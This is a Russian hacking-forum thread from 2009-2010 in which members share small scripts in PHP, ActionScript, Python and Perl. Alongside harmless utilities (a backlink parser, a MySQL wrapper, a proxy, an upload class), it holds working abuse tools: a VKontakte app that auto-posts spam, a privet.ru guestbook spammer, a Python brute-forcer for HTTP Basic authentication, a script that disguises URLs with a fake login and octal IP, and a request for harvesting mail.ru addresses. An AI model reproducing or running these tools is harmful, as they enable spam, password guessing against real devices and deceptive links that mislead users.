ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

18.11.2009, 17:50
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме: 4002393
Репутация:
464
|
|
Вот вчеа нужна была прога для парсинга. Нашел BackLink Gear но он парсит со страниц. Но ето меделнно и кажды сайт нужно отдельно вводить. Написал небольшой скриптик, парсит беки сайтов которые находяться в файле urlyahoo.txt и ложит беки в backs.txt. Преимущество скрипта в том что он не шарит по страницам а качает .tsv в котором первые 1000 беков(лимит хоть по страницам шарь хоть файл скачай) но намного быстрее. Работает на курле. Кстати те урлы что отпарсил он из файла urlyahoo.txt удаляет (делал для себя спец. чтобы если скрипт вырубился и не рыскать в поисках того на каком урле он именно остановился) .Вот
PHP код:
<?php
set_time_limit(0);
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$sleep = 4;
$fileurl = "urlyahoo.txt";
$fd = fopen($fileurl, 'r');
$read = fread($fd, filesize($fileurl));
fclose($fd);
$read = explode("\r\n", $read);
$count = count($read);
for($i=0;$i<$count;$i++)
{
list($url, $all) = explode(" ", $read[$i]);
unset($read[$i]);
$reads = implode("\r\n", $read);
$fd = fopen($fileurl, 'w');
fwrite($fd, $reads);
fclose($fd);
$result = curl("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp", "");
$result = explode("\n", $result);
$countstr = count($result);
for($a=2;$a<$countstr;$a++)
{
list($text, $ssil) = explode(" ", $result[$a]);
if($ssil)
{
//echo $ssil."<br>";
$fd = fopen("backs.txt", "a");
fwrite($fd, $ssil."\r\n");
fclose($fd);
}
}
sleep($sleep);
}
?>
Вот подумал может у кого нет курла то пускай попробуют так
PHP код:
<?php
set_time_limit(0);
$sleep = 4;
$fileurl = "urlyahoo.txt";
$fd = fopen($fileurl, 'r');
$read = fread($fd, filesize($fileurl));
fclose($fd);
$read = explode("\r\n", $read);
$count = count($read);
for($i=0;$i<$count;$i++)
{
list($url, $all) = explode(" ", $read[$i]);
unset($read[$i]);
$reads = implode("\r\n", $read);
$fd = fopen($fileurl, 'w');
fwrite($fd, $reads);
fclose($fd);
$result = file_get_contents("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp");
$result = explode("\n", $result);
$countstr = count($result);
for($a=2;$a<$countstr;$a++)
{
list($text, $ssil) = explode(" ", $result[$a]);
if($ssil)
{
//echo $ssil."<br>";
$fd = fopen("backs.txt", "a");
fwrite($fd, $ssil."\r\n");
fclose($fd);
}
}
sleep($sleep);
}
?>
п.с за роботу второго не ручаюсь(не тестил)
ппс Только не надо говорить что скрипт криво написан)))согласен, можно было более рационально все сделать, но писал чисто для себя, а на красоту мне как-то пофиг)) только бы работал)
|
|
|

04.12.2009, 14:38
|
|
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме: 1179199
Репутация:
127
|
|
Привет всем, может есть у кого-нибудь скрипт для сортировки мыл mail.ru на пхп или перле по стране или городам, допустим в скрипте указываем login на свой акк и начинаем бомбить поиск через "Мой мир" на выходе получаем страна:мыло или город:мыло
|
|
|

04.12.2009, 23:16
|
|
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме: 3459722
Репутация:
155
|
|
Не знал куда выложить.Вот исходник приложения вк который автоматом добавляет вопросы и заметки на страничку с вашим текстом.Файл с вопросами берет с вашего сайта с документа в формате *.txt.Проверял довно,работал.Вроде выложил весь исходник.
Код:
package
{
import flash.events.*;
import flash.net.*;
public class Spam extends Object
{
private var questionType:String = "0";
var _api_id:String;
var vars1:URLVariables;
var vars2:URLVariables;
var sig:String;
var loader:URLLoader;
var conf:String;
var req:URLRequest;
var res:String;
var _viewer_id:String;
var vars:URLVariables;
var url:String = "http://api.vkontakte.ru/api.php";
private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
var cont:Array;
private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
var secret:String = "ololo";
var signature:String;
var loader2:URLLoader;
public function Spam(param1:String, param2:String)
{
secret = "ololo";
url = "http://api.vkontakte.ru/api.php";
offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
questionType = "0";
loader = new URLLoader();
loader2 = new URLLoader();
vars = new URLVariables();
vars1 = new URLVariables();
vars2 = new URLVariables();
req = new URLRequest(url);
_api_id = param1;
_viewer_id = param2;
loader2.addEventListener(Event.COMPLETE, onConf);
loader2.load(new URLRequest("http://сайт.ru/conf.txt"));
return;
}// end function
public function openOffer()
{
sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars1.api_id = _api_id;
vars1.method = "offers.open";
vars1.test_mode = "0";
vars1.v = "2.0";
vars1.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars1;
try
{
sendToURL(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
public function onOfferComplete(param1:Event)
{
openOffer();
return;
}// end function
public function newOffer()
{
sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars2.api_id = _api_id;
vars2.method = "offers.edit";
vars2.message = offerText;
vars2.test_mode = "0";
vars2.v = "2.0";
vars2.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars2;
loader.addEventListener(Event.COMPLETE, onOfferComplete);
try
{
loader.load(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
public function onConf(param1:Event)
{
res = param1.target.data.toString();
cont = res.split("\n");
offerText = cont[0];
questionText = cont[1];
questionType = cont[2];
trace(offerText);
return;
}// end function
public function newQuestion()
{
sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars.api_id = _api_id;
vars.method = "questions.add";
vars.text = questionText;
vars.type = questionType;
vars.test_mode = "0";
vars.v = "2.0";
vars.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars;
try
{
sendToURL(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
}
}
|
|
|

13.12.2009, 14:18
|
|
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
Провел на форуме: 444589
Репутация:
123
|
|
Скрипт для кодирования урлов (by me)
PHP код:
$url = 'www.freehost.com.ua';//исходные данные
$ip = gethostbyname($url);//узнаем ip
$ch = explode('.',$ip);//разделяем ip на 4 части
foreach($ch as $value)$v_8[] = '0'.base_convert($value, 10, 8);//каждуч из частей конвертируем в 8-ю систему счисления
$url = '122.11.21.167@'.join($v_8,'.');//слева от полученого 8-го ip дописываем левые данные, которые обозначают логин
$url = urlencode($url);//кодируем в формат url (знак @ превратится в %40)
$url.= '?%509&404_1/index.php';//и добавляем мусора после знака "?"
echo $url;
пример:
было www.freehost.com.ua
стало 122.11.21.167%40 0302.00.0310.0312?%509&404_1/index.php
|
|
|

13.12.2009, 21:26
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Нужно было потренироваться с дебагом скриптов.Написал обертку для работы с mysql.Ничего сверхестественного там нет,самая простая обертка.Но есть и плюсы.
1) Можно совсем отключить вывод ошибок внутри класса.
2) Если вывод ошибок всеже включен,то можно управлять выводимыми данными.Такими как текст ошибки mysql,путь до файла с ошибкой,линия с ошибкой.
Повторю,написан исключительно в образовательных целях дебага.
Базовый вызов,с запросом.
PHP код:
<?php
include ('mmysql.class.php');
$mysql = new mmysql('localhost', 'root', 'Frolov', 'mp3a');
$mysql->setting(array('debug' => true, 'full_path' => true,'mysql_query'=>true,'line' => true)); //МОЖНО ПРОПУСТИТЬ
$mysql->maquery("SELecT * FRM table WHERE id = 1", $stats);
print_r($stats);
?>
Сам класс:
PHP код:
<?php
class mmysql
{
var $connect, $ms_error, $line_error, $path_error,$debug;
function mmysql($DBHOST, $DBUSER, $DBPASSWORD, $DBBASE = '')
{
$this->connect = mysql_connect($DBHOST, $DBUSER, $DBPASSWORD);
if (!$this->connect) {
return ($this->GetError());
}
if (!empty($DBBASE)) {
$this->msetdb($DBBASE);
}
}
function setting($array)
{
if ($array['debug'] == false) {
return ($this->debug = $array['debug']);
} else {
$this->debug = $array['debug'];
$this->ms_error = $array['mysql_query'];
$this->path_error = $array['full_path'];
$this->line_error = $array['line'];
}
return (true);
}
function GetError()
{
if (!$this->debug) {
return (die());
}
$bg = debug_backtrace();
$error = '<body style="background-color:#6699FF;color:black"><h1 align="center" color="red">MySQL Error!</h1><br>
<ul><b>File:</b><error style="background-color:white;"><b> ' .
$path = ((!$this->path_error) ? basename($bg[1]['file']) : $bg[1]['file']) .
'<b></error><br><b>Line</b>: <error style="background-color:white;"><b> ' .
$line = ((!$this->line_error) ? 'Admin Line Hidden' : $bg[1]['line']) .
'</b></error><br><b>Function:</b><error style="background-color:white;"> <b>[$mmysql->' .
$bg[1]['function'] .
'()]</b></error><br><b>Text error:<br> <textarea rows="10" cols="25" style="background-color:white;"> ' .
$ms = ((!$this->ms_error) ? 'Admin Query Hidden ' : mysql_error()) .
'</textarea><br></ul></div>';
die($error);
return true;
}
function msetdb($db) // mysql_select_db
{
$selectdb = mysql_select_db($db, $this->connect);
if ($selectdb) {
return (true);
} else {
return ($this->GetError());
}
}
function mquery($query, &$return) // mysql_query
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = $query);
}
}
function mfquery($query, &$return) // mysql_fetch_assoc(mysql_query)
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = mysql_fetch_assoc($query));
}
}
function maquery($query, &$return) // mysql_fetch_array(mysql_query)
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = mysql_fetch_array($query));
}
}
function mnumrows($query, &$return) // mysql_num_rows(mysql_query)
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = mysql_num_rows($query));
}
}
}
?>
Последний раз редактировалось m0Hze; 13.12.2009 в 21:53..
|
|
|

14.12.2009, 02:00
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме: 4002393
Репутация:
464
|
|
Вот написал небольшой скрипт для спама го гостевухам на сайте привет.ру
PHP код:
<?php
set_time_limit(0);
function curl($url,$post='')
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function add($path,$page_body)
{
$file=fopen($path,"a+");
fputs($file,$page_body);
fclose($file);
}
function read($path)
{
$fd = fopen($path, "r");
$bufer = fread($fd, filesize($path));
fclose($fd);
return $bufer;
}
$mail = '';//Мыло
$pass = '';//Пароль
$countpage = 1;//Количество страниц для парсинга
$text = 'Приветик=)))';//Текст для спама
$mesguest = iconv("windows-1251", "utf-8", $text);
$result = curl('http://www.privet.ru/login?login='.$mail.'&password='.$pass.'&remember=on');
for($i=0;$i<$countpage;$i++)
{
$result = curl('http://www.privet.ru/people/sort/login-date?period=86400&page='.$i);
preg_match_all("#class=\"userNickLink\" href='http://www.privet.ru/user/(.*)'#iU", $result, $regs);
$regs = $regs[1];
$count = count($regs);
for($a=0;$a<$count;$a++)
{
$nick = $regs[$a];
$list = read('black.txt');
if(strstr($list, $nick))
{
echo $nick.' neotpravil<br>';
}
else
{
echo $nick.' otpravil<br>';
$result = curl('http://www.privet.ru/user/'.$nick.'/guestbook/add', 'guestbook_text='.$mesguest);
add('black.txt', $nick."\r\n");
sleep(1);
}
flush();
}
}
?>
Парсит и розсылает тем юзерам что появлялиль на сайте за последний день.
п.с забыл описание небольшре сделать. Те логины что отспамились заносит в файл блек.тхт и если на них в дальнейшем парсинге попадает то им сообщения не отправляеться)))
Последний раз редактировалось zifanchuck; 14.12.2009 в 02:17..
|
|
|

14.12.2009, 18:13
|
|
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме: 88269
Репутация:
10
|
|
Код на Python, брутит Basic авторизацию, пароль от 100000 до 999999 на admin на хосте 192.168.0.1
Код:
import base64,httplib
fl = open('log.txt','w')
for i in range(100000,999999):
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))}
conn = httplib.HTTPConnection("192.168.0.1")
conn.request("GET", "/", {}, headers)
response = conn.getresponse()
data = response.read()
conn.close()
if (data != 'Unauthorized'):
fl.write(i)
fl.close()
|
|
|

28.12.2009, 01:27
|
|
Познающий
Регистрация: 22.03.2007
Сообщений: 45
Провел на форуме: 110666
Репутация:
9
|
|
Определяет пол по имени, на основе того, что большинство женских имён заканчиваются на гласную. Определяет не 100% но для моих целей хватает. Поддерживает имена в транслите...
А не лучше ли сделать выбор "ИЛИ" вместо явного указания каждой буквы?
Код:
sub gender # 1 - woman; 0 - man
{
my ($name) = @_;
return 1 if $name=~"(я|а|о|ы|э|е|a|o|i|e|Я|А|О|Ы|Э|Е|A|E|O|I)\$";
return 0;
}
|
|
|

03.01.2010, 14:21
|
|
Познающий
Регистрация: 30.12.2009
Сообщений: 38
Провел на форуме: 38124
Репутация:
18
|
|
Класс для загрузки картинок
Клац http://narod.ru/disk/16553661000/class.upload.rar.html ~25.3 кБ
Пример работы:
PHP код:
<?php
$foo = new Upload($_FILES['form_field']);
if ($foo->uploaded)
{
// Сохранение загруженного изображения без изменений
$foo->Process('/home/user/files/');
if ($foo->processed)
{
echo 'original image copied';
}
else
{
echo 'error : ' . $foo->error;
}
// Сохранение загруженного изображения с новым именем
$foo->file_new_name_body = 'foo';
$foo->Process('/home/user/files/');
if ($foo->processed)
{
echo 'image renamed "foo" copied';
}
else
{
echo 'error : ' . $foo->error;
}
// Сохранение загруженного изображения с новым именем,
// Уменьшить по ширине 100px
$foo->file_new_name_body = 'image_resized';
$foo->image_resize = true;
$foo->image_convert = gif;
$foo->image_x = 100;
$foo->image_ratio_y = true;
$foo->Process('/home/user/files/');
if ($foo->processed)
{
echo 'image renamed, resized x=100
and converted to GIF';
$foo->Clean();
}
else
{
echo 'error : ' . $foo->error;
}
}
?>
|
|
|

04.01.2010, 14:11
|
|
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме: 88269
Репутация:
10
|
|
PyRoxy - мини-проксик на питоне (чуток кривой, с картинками небольшой баг, иногда не принимает... но ведь картинки не самое главное?  )
Из фич - некоторые картинки все-же показывает (видимо пакет с большими картинками... большеват), меняет Юзер-Агент, да и вроде-как даже POST исполняет!
Код:
# -*- coding: cp1251 -*-
import SocketServer
import re
import socket
import urllib
import httplib
import thread
class MyTCPHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.data = self.request.recv(4096)
if (self.data != ""):
get = re.search("GET ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
self.data = re.sub("User-Agent: [^\n]*\n","User-Agent: " + str(uagent) + "\n",self.data,1)
if not get:
get = re.search("POST ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
if get:
print "GET: " + str(get.group(1)) + ":" + str(get.group(2))
print "-----------------------------------"
host = urllib.splithost(get.group(2))
ip = 0
try:
ip = socket.getaddrinfo(host[0],80)
ip = ip[0][4][0]
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,80))
sock.send(self.data)
if get.group(2).endswith('.png') or get.group(2).endswith('.jpg') or get.group(2).endswith('.jpeg') or get.group(2).endswith('.gif'):
conn = httplib.HTTPConnection(host[0])
conn.request('GET',host[1])
res = conn.getresponse()
data = res.read()
conn.close()
self.request.send(data)
recv2 = sock.recv(4096)
recv = ""
while recv2 <> "":
reg = re.search("<title>(.*)</title>",recv2)
if reg:
title = str(reg.group(1)) + " ^ UnDer PyRoxy"
recv = re.sub("<title>.*</title>","<title>" + str(title) + "</title>",recv2,1)
recv += recv2
recv2 = sock.recv(4096)
self.request.send(recv)
except:
recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Error connecting to server</font></div></body></html>"
self.request.send(recv)
else:
recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Unknown packet</font></div></body></html>"
self.request.send(recv)
print "_._._._._-=PyRoxy v. 0.1=-_._._._._"
print "-----------------------------------"
uagent = "AK-47"
socket.setdefaulttimeout(1000)
HOST, PORT = "127.0.0.1", 9999
print "Binding on " + str(HOST) + ":" + str(PORT)
print "-----------------------------------"
server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler)
server.serve_forever()
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|